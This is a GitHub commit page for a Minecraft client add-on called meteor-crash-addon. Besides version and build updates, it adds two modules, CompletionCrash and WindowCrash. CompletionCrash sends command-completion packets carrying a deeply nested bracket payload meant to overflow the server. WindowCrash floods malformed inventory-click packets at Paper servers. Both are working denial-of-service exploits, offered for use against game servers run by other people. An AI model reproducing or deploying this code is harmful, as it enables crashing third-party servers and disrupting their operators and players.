-
-
Notifications
You must be signed in to change notification settings - Fork 30
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
add WindowCrash, CompletionCrash + update to 1.20.6 (#24)
* add WindowCrash * register WindowCrash * Add CompletionCrash * Update 1.20.4 * Update 1.20.6 * Update gradle.yml
- Loading branch information
1 parent
8aed153
commit 0d64cc1
Showing
11 changed files
with
147 additions
and
27 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,13 +1,13 @@ | ||
org.gradle.jvmargs=-Xmx2G | ||
|
||
# Fabric Properties (https://fabricmc.net/develop/) | ||
minecraft_version=1.20.2 | ||
yarn_mappings=1.20.2+build.4 | ||
loader_version=0.14.23 | ||
minecraft_version=1.20.6 | ||
yarn_mappings=1.20.6+build.1 | ||
loader_version=0.15.11 | ||
|
||
# Mod Properties | ||
mod_version=0.6 | ||
maven_group=Wide-Cat | ||
archives_base_name=meteor-crash-addon | ||
|
||
meteor_version=0.5.5 | ||
meteor_version=0.5.7 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,5 +1,5 @@ | ||
distributionBase=GRADLE_USER_HOME | ||
distributionPath=wrapper/dists | ||
distributionUrl=https\://services.gradle.org/distributions/gradle-8.3-bin.zip | ||
distributionUrl=https\://services.gradle.org/distributions/gradle-8.7-bin.zip | ||
zipStoreBase=GRADLE_USER_HOME | ||
zipStorePath=wrapper/dists |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
52 changes: 52 additions & 0 deletions
52
src/main/java/widecat/meteorcrashaddon/modules/CompletionCrash.java
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,52 @@ | ||
package widecat.meteorcrashaddon.modules; | ||
|
||
import meteordevelopment.meteorclient.events.world.TickEvent; | ||
import meteordevelopment.meteorclient.settings.IntSetting; | ||
import meteordevelopment.meteorclient.settings.Setting; | ||
import meteordevelopment.meteorclient.settings.SettingGroup; | ||
import meteordevelopment.meteorclient.systems.modules.Module; | ||
import meteordevelopment.orbit.EventHandler; | ||
import net.minecraft.client.MinecraftClient; | ||
import net.minecraft.network.packet.c2s.play.RequestCommandCompletionsC2SPacket; | ||
import widecat.meteorcrashaddon.CrashAddon; | ||
|
||
import java.util.stream.Collectors; | ||
import java.util.stream.IntStream; | ||
|
||
public class CompletionCrash extends Module { | ||
private final SettingGroup sgGeneral = settings.createGroup("Rate"); | ||
|
||
public CompletionCrash() { | ||
super(CrashAddon.CATEGORY, "CompletionCrash", "Funny Completion"); | ||
} | ||
|
||
private int length = 2032; | ||
|
||
private final Setting<Integer> packets = sgGeneral.add(new IntSetting.Builder() | ||
.name("Packets per tick") | ||
.description("Amount of packets sent each tick") | ||
.defaultValue(3) | ||
.min(2) | ||
.sliderMax(12) | ||
.build() | ||
); | ||
|
||
@EventHandler | ||
private void onTick(TickEvent.Post event) { | ||
|
||
String overflow = generateJsonObject(length); | ||
String message = "msg @a[nbt={PAYLOAD}]"; | ||
String partialCommand = message.replace("{PAYLOAD}", overflow); | ||
for (int i = 0; i < packets.get(); i++) { | ||
MinecraftClient.getInstance().player.networkHandler.sendPacket(new RequestCommandCompletionsC2SPacket(0, partialCommand)); | ||
} | ||
this.toggle(); | ||
} | ||
|
||
private String generateJsonObject(int levels) { | ||
String in = IntStream.range(0, levels) | ||
.mapToObj(i -> "[") | ||
.collect(Collectors.joining()); | ||
return "{a:" + in + "}"; | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
57 changes: 57 additions & 0 deletions
57
src/main/java/widecat/meteorcrashaddon/modules/WindowCrash.java
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,57 @@ | ||
package widecat.meteorcrashaddon.modules; | ||
|
||
import it.unimi.dsi.fastutil.ints.Int2ObjectArrayMap; | ||
import meteordevelopment.meteorclient.events.game.GameLeftEvent; | ||
import meteordevelopment.meteorclient.events.world.TickEvent; | ||
import meteordevelopment.meteorclient.settings.*; | ||
import meteordevelopment.meteorclient.systems.modules.Module; | ||
import meteordevelopment.orbit.EventHandler; | ||
import net.minecraft.client.MinecraftClient; | ||
import net.minecraft.item.ItemStack; | ||
import net.minecraft.item.Items; | ||
import net.minecraft.network.packet.c2s.play.ClickSlotC2SPacket; | ||
import net.minecraft.screen.ScreenHandler; | ||
import net.minecraft.screen.slot.SlotActionType; | ||
import widecat.meteorcrashaddon.CrashAddon; | ||
|
||
public class WindowCrash extends Module { | ||
private final SettingGroup sgGeneral = settings.createGroup("Crash"); | ||
|
||
private final Setting<Integer> crashPower = sgGeneral.add(new IntSetting.Builder() | ||
.name("Packets per tick") | ||
.description("Amount of packets sent each tick") | ||
.defaultValue(6) | ||
.min(2) | ||
.sliderMax(12) | ||
.build() | ||
); | ||
|
||
private final Setting<Boolean> disableOnLeave = sgGeneral.add(new BoolSetting.Builder() | ||
.name("Disable on Leave") | ||
.description("Automatically disables when you change leave.") | ||
.defaultValue(true) | ||
.build() | ||
); | ||
|
||
public WindowCrash() { | ||
super(CrashAddon.CATEGORY, "Window Crasher", "Sends silly packets, paper 1.20.1"); | ||
} | ||
|
||
@EventHandler | ||
private void onTick(TickEvent.Post event) { | ||
ScreenHandler handler = MinecraftClient.getInstance().player.currentScreenHandler; | ||
Int2ObjectArrayMap itemMap = new Int2ObjectArrayMap(); | ||
itemMap.put(0, new ItemStack(Items.ACACIA_BOAT, 1)); | ||
for (int i = 0; i < crashPower.get() + 1; i++) { | ||
MinecraftClient.getInstance().player.networkHandler.sendPacket(new ClickSlotC2SPacket(handler.syncId, handler.getRevision(), 36, -1, SlotActionType.SWAP, handler.getCursorStack().copy(), itemMap)); | ||
} | ||
} | ||
|
||
@EventHandler | ||
private void onWorldChange(GameLeftEvent event) { | ||
if (disableOnLeave.get() && this.isActive()) { | ||
this.toggle(); | ||
} | ||
} | ||
|
||
} |